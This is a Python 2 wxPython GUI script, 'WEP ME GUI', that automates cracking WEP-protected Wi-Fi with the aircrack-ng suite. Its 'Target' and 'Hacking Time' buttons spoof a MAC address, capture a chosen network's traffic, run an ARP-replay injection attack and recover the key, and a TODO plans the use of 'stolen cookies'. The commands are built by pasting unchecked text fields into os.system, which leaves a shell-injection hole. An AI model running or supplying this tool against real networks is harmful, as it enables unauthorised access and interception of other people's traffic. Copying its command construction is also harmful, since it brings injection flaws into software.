#!coding: utf-8

"""
WEP ME GUI
	A simple GUI for all the WEP tools from the Aircrack suite.
	'cause copy n paste BSSIDs all the time can be boring...

Version
    Beta 29.12.2009

Getting started:
- Simply type "sudo python wepme.py" in a terminal, and chill out. ^^

Dependencies:
- Wx library for python



TODO:
- Vital:
    - More testing
- Optional:
    - possibility to select the interface among all the interfaces detected (instead of writing the name)
    - harvest time section (stolen cookies use, airedecap command, ...)

"""



import os
import wx
import traceback
import sys

H_SIZE = 150
DEFAULT_FAKEMAC = '00:11:22:33:44:55'


class MyFrame(wx.Frame):
   
    def __init__(self, zoom):
		
		# Window params
        self.zoom = zoom
        self.model = 1
        wx.Frame.__init__(self, None, -1, "WEP ME! ... That's what she said !!!")
        self.panel = wx.Panel(self, -1)
        
        self.Bind(wx.EVT_CLOSE, self.OnCloseWindow)
        
        
        # Prog default values
        DEFAULT_INTERFACE = "eth1"
        DEFAULT_CHANNEL = 6
        DEFAULT_BSSID = ""
        DEFAULT_MAC = "11:22:33:44:55:66"
     
		# Try to recover some real parameters
        if os.name == "posix":
            print "Trying to identify the correct interface..."
            
            output = os.popen("iwconfig").readlines() # FIXME: some iwconfig output print out here... WEIRD
            
            real_interface_found = False
            for line in output:
                if '802.11g' in line or "unassociated" in line:
                    DEFAULT_INTERFACE = line.split(" ")[0]
                    print "Interface found: ", DEFAULT_INTERFACE
                    real_interface_found = True
                    break
            
            if real_interface_found:
                print "Trying to identify the correct MAC..."
            
                output = os.popen("ifconfig").readlines() # FIXME: some iwconfig output print out here... WEIRD
                
                for line in output:
                    if DEFAULT_INTERFACE in line:
                        DEFAULT_MAC = line.split(" ")[-3].upper()
                        print "MAC found: ", DEFAULT_MAC
                        break
		
        
        #################################################
        #                 Interface                     #
        #################################################
        
        # Box
        self.interface_box = wx.StaticBox(self.panel, -1, "Interface")
        self.interface_box.SetFont(wx.Font(10, wx.ROMAN, wx.NORMAL, wx.BOLD))
        self.interface_box_sizer = wx.StaticBoxSizer(self.interface_box)
        self.interface = wx.FlexGridSizer(cols = 2, hgap=10, vgap=10)
        self.interface_box_sizer.Add(self.interface, 1, wx.ALIGN_CENTER | wx.LEFT | wx.RIGHT | wx.EXPAND, border=10)
        
        # Interface
        self.text_interface = wx.StaticText(self.panel, -1, "Interface")
        self.text_interface.SetFont(wx.Font(9, wx.ROMAN, wx.NORMAL, wx.NORMAL))
        self.value_interface = wx.TextCtrl(self.panel, -1, DEFAULT_INTERFACE ,size = (H_SIZE, -1))

        self.interface.Add(self.text_interface, flag = wx.ALIGN_CENTER_VERTICAL)
        self.interface.Add(self.value_interface, flag = wx.ALIGN_CENTER_VERTICAL)
        
        # MAC
        self.text_mac = wx.StaticText(self.panel, -1, "MAC")
        self.text_mac.SetFont(wx.Font(9, wx.ROMAN, wx.NORMAL, wx.NORMAL))
        self.value_mac = wx.TextCtrl(self.panel, -1, DEFAULT_MAC ,size = (H_SIZE, -1))

        self.interface.Add(self.text_mac, flag = wx.ALIGN_CENTER_VERTICAL)
        self.interface.Add(self.value_mac, flag = wx.ALIGN_CENTER_VERTICAL)
        
        # ifdown
        self.text_ifdown = wx.StaticText(self.panel, -1, "ifdown")
        self.text_ifdown.SetFont(wx.Font(9, wx.ROMAN, wx.NORMAL, wx.NORMAL))
        self.button_ifdown = wx.Button(self.panel, id=-1, label='DO ME')
        self.button_ifdown.Bind(wx.EVT_BUTTON, self.OnClickButtonIfdown)

        self.interface.Add(self.text_ifdown, flag = wx.ALIGN_CENTER_VERTICAL)
        self.interface.Add(self.button_ifdown, flag = wx.ALIGN_CENTER_VERTICAL)

        # ifup
        self.text_ifup = wx.StaticText(self.panel, -1, "ifup")
        self.text_ifup.SetFont(wx.Font(9, wx.ROMAN, wx.NORMAL, wx.NORMAL))
        self.button_ifup = wx.Button(self.panel, id=-1, label='DO ME')
        self.button_ifup.Bind(wx.EVT_BUTTON, self.OnClickButtonIfup)

        self.interface.Add(self.text_ifup, flag = wx.ALIGN_CENTER_VERTICAL)
        self.interface.Add(self.button_ifup, flag = wx.ALIGN_CENTER_VERTICAL)
        
        # Enable Monitor Mode
        self.text_monitor = wx.StaticText(self.panel, -1, "Enable Monitor Mode")
        self.text_monitor.SetFont(wx.Font(9, wx.ROMAN, wx.NORMAL, wx.NORMAL))
        self.button_monitor = wx.Button(self.panel, id=-1, label='DO ME')
        self.button_monitor.Bind(wx.EVT_BUTTON, self.OnClickButtonMonitor)

        self.interface.Add(self.text_monitor, flag = wx.ALIGN_CENTER_VERTICAL)
        self.interface.Add(self.button_monitor, flag = wx.ALIGN_CENTER_VERTICAL)
        
        # Disable Monitor Mode
        self.text_internet = wx.StaticText(self.panel, -1, "Disable Monitor Mode")
        self.text_internet.SetFont(wx.Font(9, wx.ROMAN, wx.NORMAL, wx.NORMAL))
        self.button_internet = wx.Button(self.panel, id=-1, label='DO ME')
        self.button_internet.Bind(wx.EVT_BUTTON, self.OnClickButtonInternet)

        self.interface.Add(self.text_internet, flag = wx.ALIGN_CENTER_VERTICAL)
        self.interface.Add(self.button_internet, flag = wx.ALIGN_CENTER_VERTICAL)
        
     
        #################################################
        #                 Target                        #
        #################################################

        # Box
        self.target_box = wx.StaticBox(self.panel, -1, "Target")
        self.target_box.SetFont(wx.Font(10, wx.ROMAN, wx.NORMAL, wx.BOLD))
        self.target_box_sizer = wx.StaticBoxSizer(self.target_box)
        self.target = wx.FlexGridSizer(cols = 2, hgap=10, vgap=10)
        self.target_box_sizer.Add(self.target, 1, wx.ALIGN_CENTER | wx.LEFT | wx.RIGHT | wx.EXPAND, border=10)

        # Find Target
        self.text_findtarget = wx.StaticText(self.panel, -1, "Find target with airodump")
        self.text_findtarget.SetFont(wx.Font(9, wx.ROMAN, wx.NORMAL, wx.NORMAL))
        self.button_findtarget = wx.Button(self.panel, id=-1, label='DO ME')
        self.button_findtarget.Bind(wx.EVT_BUTTON, self.OnClickButtonFindTarget)
        
        self.target.Add(self.text_findtarget, flag = wx.ALIGN_CENTER_VERTICAL)
        self.target.Add(self.button_findtarget, flag = wx.ALIGN_CENTER_VERTICAL)

        # Channel
        self.text_channel = wx.StaticText(self.panel, -1, "Channel")
        self.text_channel.SetFont(wx.Font(9, wx.ROMAN, wx.NORMAL, wx.NORMAL))
        self.value_channel = wx.Slider(self.panel, -1, DEFAULT_CHANNEL, 1, 12, (10, 10), (H_SIZE, 50),wx.SL_HORIZONTAL | wx.SL_AUTOTICKS | wx.SL_LABELS)

        self.target.Add(self.text_channel,flag = wx.ALIGN_CENTER_VERTICAL)
        self.target.Add(self.value_channel,flag = wx.ALIGN_CENTER_VERTICAL)

        # BSSID
        self.text_bssid = wx.StaticText(self.panel, -1, "BSSID")
        self.text_bssid.SetFont(wx.Font(9, wx.ROMAN, wx.NORMAL, wx.NORMAL))
        self.value_bssid = wx.TextCtrl(self.panel, -1, DEFAULT_BSSID ,size = (H_SIZE, -1))

        self.target.Add(self.text_bssid, flag = wx.ALIGN_CENTER_VERTICAL)
        self.target.Add(self.value_bssid, flag = wx.ALIGN_CENTER_VERTICAL)
        
        # Client
        self.text_client = wx.StaticText(self.panel, -1, "Client")
        self.text_client.SetFont(wx.Font(9, wx.ROMAN, wx.NORMAL, wx.NORMAL))
        self.value_client = wx.TextCtrl(self.panel, -1, DEFAULT_BSSID ,size = (H_SIZE, -1))

        self.target.Add(self.text_client, flag = wx.ALIGN_CENTER_VERTICAL)
        self.target.Add(self.value_client, flag = wx.ALIGN_CENTER_VERTICAL)
        




        #################################################
        #                Hacking Time                   #
        #################################################

        # Box
        self.hacking_box = wx.StaticBox(self.panel, -1, "Hacking Time")
        self.hacking_box.SetFont(wx.Font(10, wx.ROMAN, wx.NORMAL, wx.BOLD))
        self.hacking_box_sizer = wx.StaticBoxSizer(self.hacking_box)
        self.hacking = wx.FlexGridSizer(cols = 3, hgap=10, vgap=10)
        self.hacking_box_sizer.Add(self.hacking, 1, wx.ALIGN_CENTER | wx.LEFT | wx.RIGHT | wx.EXPAND, border=10)


        # Fake Mac
        self.text_fakemac = wx.StaticText(self.panel, -1, "Fake Mac")
        self.text_fakemac.SetFont(wx.Font(9, wx.ROMAN, wx.NORMAL, wx.NORMAL))
        self.value_fakemac = wx.TextCtrl(self.panel, -1, DEFAULT_FAKEMAC ,size = (H_SIZE, -1))
        self.button_fakemac = wx.Button(self.panel, id=-1, label='DO ME')
        self.button_fakemac.Bind(wx.EVT_BUTTON, self.OnClickButtonFakeMac)
        
        self.hacking.Add(self.text_fakemac, flag = wx.ALIGN_CENTER_VERTICAL)
        self.hacking.Add(self.value_fakemac, flag = wx.ALIGN_CENTER_VERTICAL)
        self.hacking.Add(self.button_fakemac, flag = wx.ALIGN_CENTER_VERTICAL)

        # Airodump
        self.text_airodump = wx.StaticText(self.panel, -1, "Dump data with airodump-ng")
        self.text_airodump.SetFont(wx.Font(9, wx.ROMAN, wx.NORMAL, wx.NORMAL))
        self.value_dumpfilename = wx.TextCtrl(self.panel, -1, "DUMP_FILENAME" ,size = (H_SIZE, -1))
        self.button_airodump = wx.Button(self.panel, id=-1, label='DO ME')
        self.button_airodump.Bind(wx.EVT_BUTTON, self.OnClickButtonAirodump)
        
        self.hacking.Add(self.text_airodump, flag = wx.ALIGN_CENTER_VERTICAL)
        self.hacking.Add(self.value_dumpfilename, flag = wx.ALIGN_CENTER_VERTICAL)
        self.hacking.Add(self.button_airodump, flag = wx.ALIGN_CENTER_VERTICAL)

        
        # Attack time with aireplay
        self.text_aireplay = wx.StaticText(self.panel, -1, "Attack with Aireplay")
        self.text_aireplay.SetFont(wx.Font(9, wx.ROMAN, wx.NORMAL, wx.NORMAL))
        self.button_aireplay = wx.Button(self.panel, id=-1, label='DO ME')
        self.button_aireplay.Bind(wx.EVT_BUTTON, self.OnClickButtonAttackTime)
        self.text_empty = wx.StaticText(self.panel, -1, "")

        self.hacking.Add(self.text_aireplay, flag = wx.ALIGN_CENTER_VERTICAL)
        self.hacking.Add(self.button_aireplay, flag = wx.ALIGN_CENTER_VERTICAL)
        self.hacking.Add(self.text_empty, flag = wx.ALIGN_CENTER_VERTICAL)
        

        # Aircrack: arpreplay attack and cracking time
        self.text_aircrack = wx.StaticText(self.panel, -1, "Crack with Aircrack")
        self.text_aircrack.SetFont(wx.Font(9, wx.ROMAN, wx.NORMAL, wx.NORMAL))
        self.button_cracking = wx.Button(self.panel, id=-1, label='DO ME')
        self.button_cracking.Bind(wx.EVT_BUTTON, self.OnClickButtonCrackingTime)
        
        self.hacking.Add(self.text_aircrack, flag = wx.ALIGN_CENTER_VERTICAL)
        self.hacking.Add(self.button_cracking, flag = wx.ALIGN_CENTER_VERTICAL)




        #################################################
        #                Harvest Time                   #
        #################################################

        # Box
        self.harvest_box = wx.StaticBox(self.panel, -1, "Harvest Time")
        self.harvest_box.SetFont(wx.Font(10, wx.ROMAN, wx.NORMAL, wx.BOLD))
        self.harvest_box_sizer = wx.StaticBoxSizer(self.harvest_box)
        self.harvest = wx.FlexGridSizer(cols = 2, hgap=10, vgap=10)
        self.harvest_box_sizer.Add(self.harvest, 1, wx.ALIGN_CENTER | wx.LEFT | wx.RIGHT | wx.EXPAND, border=10)
        
        # Coming soon msg
        self.text_comingsoon = wx.StaticText(self.panel, -1, "New features coming soon in here...")
        self.text_comingsoon.SetFont(wx.Font(9, wx.ROMAN, wx.NORMAL, wx.NORMAL))
        self.harvest.Add(self.text_comingsoon, flag = wx.ALIGN_CENTER_VERTICAL)
        
        
        # airdecap
        #self.text_airdecap = wx.StaticText(self.panel, -1, "airdecap-ng")
        #self.text_airdecap.SetFont(wx.Font(9, wx.ROMAN, wx.NORMAL, wx.NORMAL))

        #self.harvest.Add(self.text_airdecap, flag = wx.ALIGN_CENTER_VERTICAL)
        
        # Add stolen cookies to firefox
        


        #################################################
        #                 Sizer Stuff                   #
        #################################################

        self.left_sizer = wx.FlexGridSizer(cols = 1,vgap=20)
        self.left_sizer.Add(self.interface_box_sizer, flag = wx.ALIGN_CENTER | wx.LEFT | wx.UP, border = 3)
        self.left_sizer.Add(self.target_box_sizer, flag = wx.ALIGN_CENTER | wx.LEFT | wx.UP, border = 3)
        self.left_sizer.Add(self.hacking_box_sizer, flag = wx.ALIGN_CENTER | wx.LEFT | wx.UP, border = 3)
        

        self.right_sizer = wx.FlexGridSizer(cols = 1,vgap=20)
        self.right_sizer.Add(self.harvest_box_sizer, flag = wx.ALIGN_CENTER | wx.LEFT | wx.UP, border = 3)

        self.sizer = wx.FlexGridSizer(rows = 1)
        self.sizer.Add(self.left_sizer, flag = wx.ALIGN_CENTER | wx.ALL, border = 5)
        self.sizer.Add(self.right_sizer, flag = wx.ALIGN_CENTER | wx.ALL, border = 5)

        self.SetSizer(self.sizer)


        border = wx.BoxSizer()
        border.Add(self.sizer, 0, wx.ALL, 10)
        self.panel.SetSizerAndFit(border)
        self.Fit()
       
    # Window Management
    
    def OnCloseWindow(self, event):
        os._exit(0)
    
        
    # Interface
    
    def OnClickButtonIfdown(self, event):
        command = "sudo ifdown " + self.value_interface.GetValue()
        self.DoWhatYouGottaDo(command)

    def OnClickButtonIfup(self, event):
        command = "sudo ifup " + self.value_interface.GetValue()
        self.DoWhatYouGottaDo(command)
        
    def OnClickButtonMonitor(self, event):
        command = "sudo airmon-ng start " + self.value_interface.GetValue()
        self.DoWhatYouGottaDo(command)
        
    def OnClickButtonInternet(self, event):
        command = "sudo airmon-ng stop " + self.value_interface.GetValue()
        self.DoWhatYouGottaDo(command)
    
        
    # Target
    
    def OnClickButtonFindTarget(self, event):
        command = "sudo airodump-ng " + self.value_interface.GetValue()
        self.DoWhatYouGottaDo(command)
    
    
    # Hacking Time
    
    def OnClickButtonFakeMac(self, event):
        command = "macchanger --mac " + self.value_fakemac.GetValue() + " " + self.value_interface.GetValue()
        self.DoWhatYouGottaDo(command)
        
    def OnClickButtonAirodump(self, event):
        command = "sudo airodump-ng --channel " + str(self.value_channel.GetValue())
        if self.value_bssid.GetValue() and self.value_dumpfilename.GetValue():
            command += " --bssid " + self.value_bssid.GetValue() + " -w " + self.value_dumpfilename.GetValue() + " " + self.value_interface.GetValue()
            self.DoWhatYouGottaDo(command)
        else:
            print "ERROR: Arguments missing: Please specify: \n* the target's BSSID\n* the dump filename"
            
    def OnClickButtonAttackTime(self, event):
        if self.value_bssid.GetValue():
            command = "sudo aireplay-ng -3 -b " + self.value_bssid.GetValue() + " -h " + self.value_fakemac.GetValue() + " " + self.value_interface.GetValue()
            self.DoWhatYouGottaDo(command)
        else:
            print "BSSID missing"
        
    def OnClickButtonCrackingTime(self, event):
        if self.value_bssid.GetValue():
            command = "sudo aircrack-ng -b " + self.value_bssid.GetValue() + " -l " + self.value_dumpfilename.GetValue() + "_KEY.txt " + self.value_dumpfilename.GetValue() + "*.cap"
            self.DoWhatYouGottaDo(command)
        else:
            print "BSSID missing"
        
    def DoWhatYouGottaDo(self, command):
        print "Launching the command \"" + command + "\" in a new terminal"
        os.system('gnome-terminal -x ' + command + ' &')

 
class MyApp(wx.App):
    def OnInit(self):
        self.MyFrame = MyFrame(2)
        self.MyFrame.Center(wx.BOTH)
        self.MyFrame.Show()
        return True


app = MyApp(False)

#TRACEBACK
def Myexcepthook(type, value, tb):
        lines=traceback.format_exception(type, value, tb)
        wx.MessageBox("\n".join(lines), "Traceback Error")
sys.excepthook=Myexcepthook


app.MainLoop()

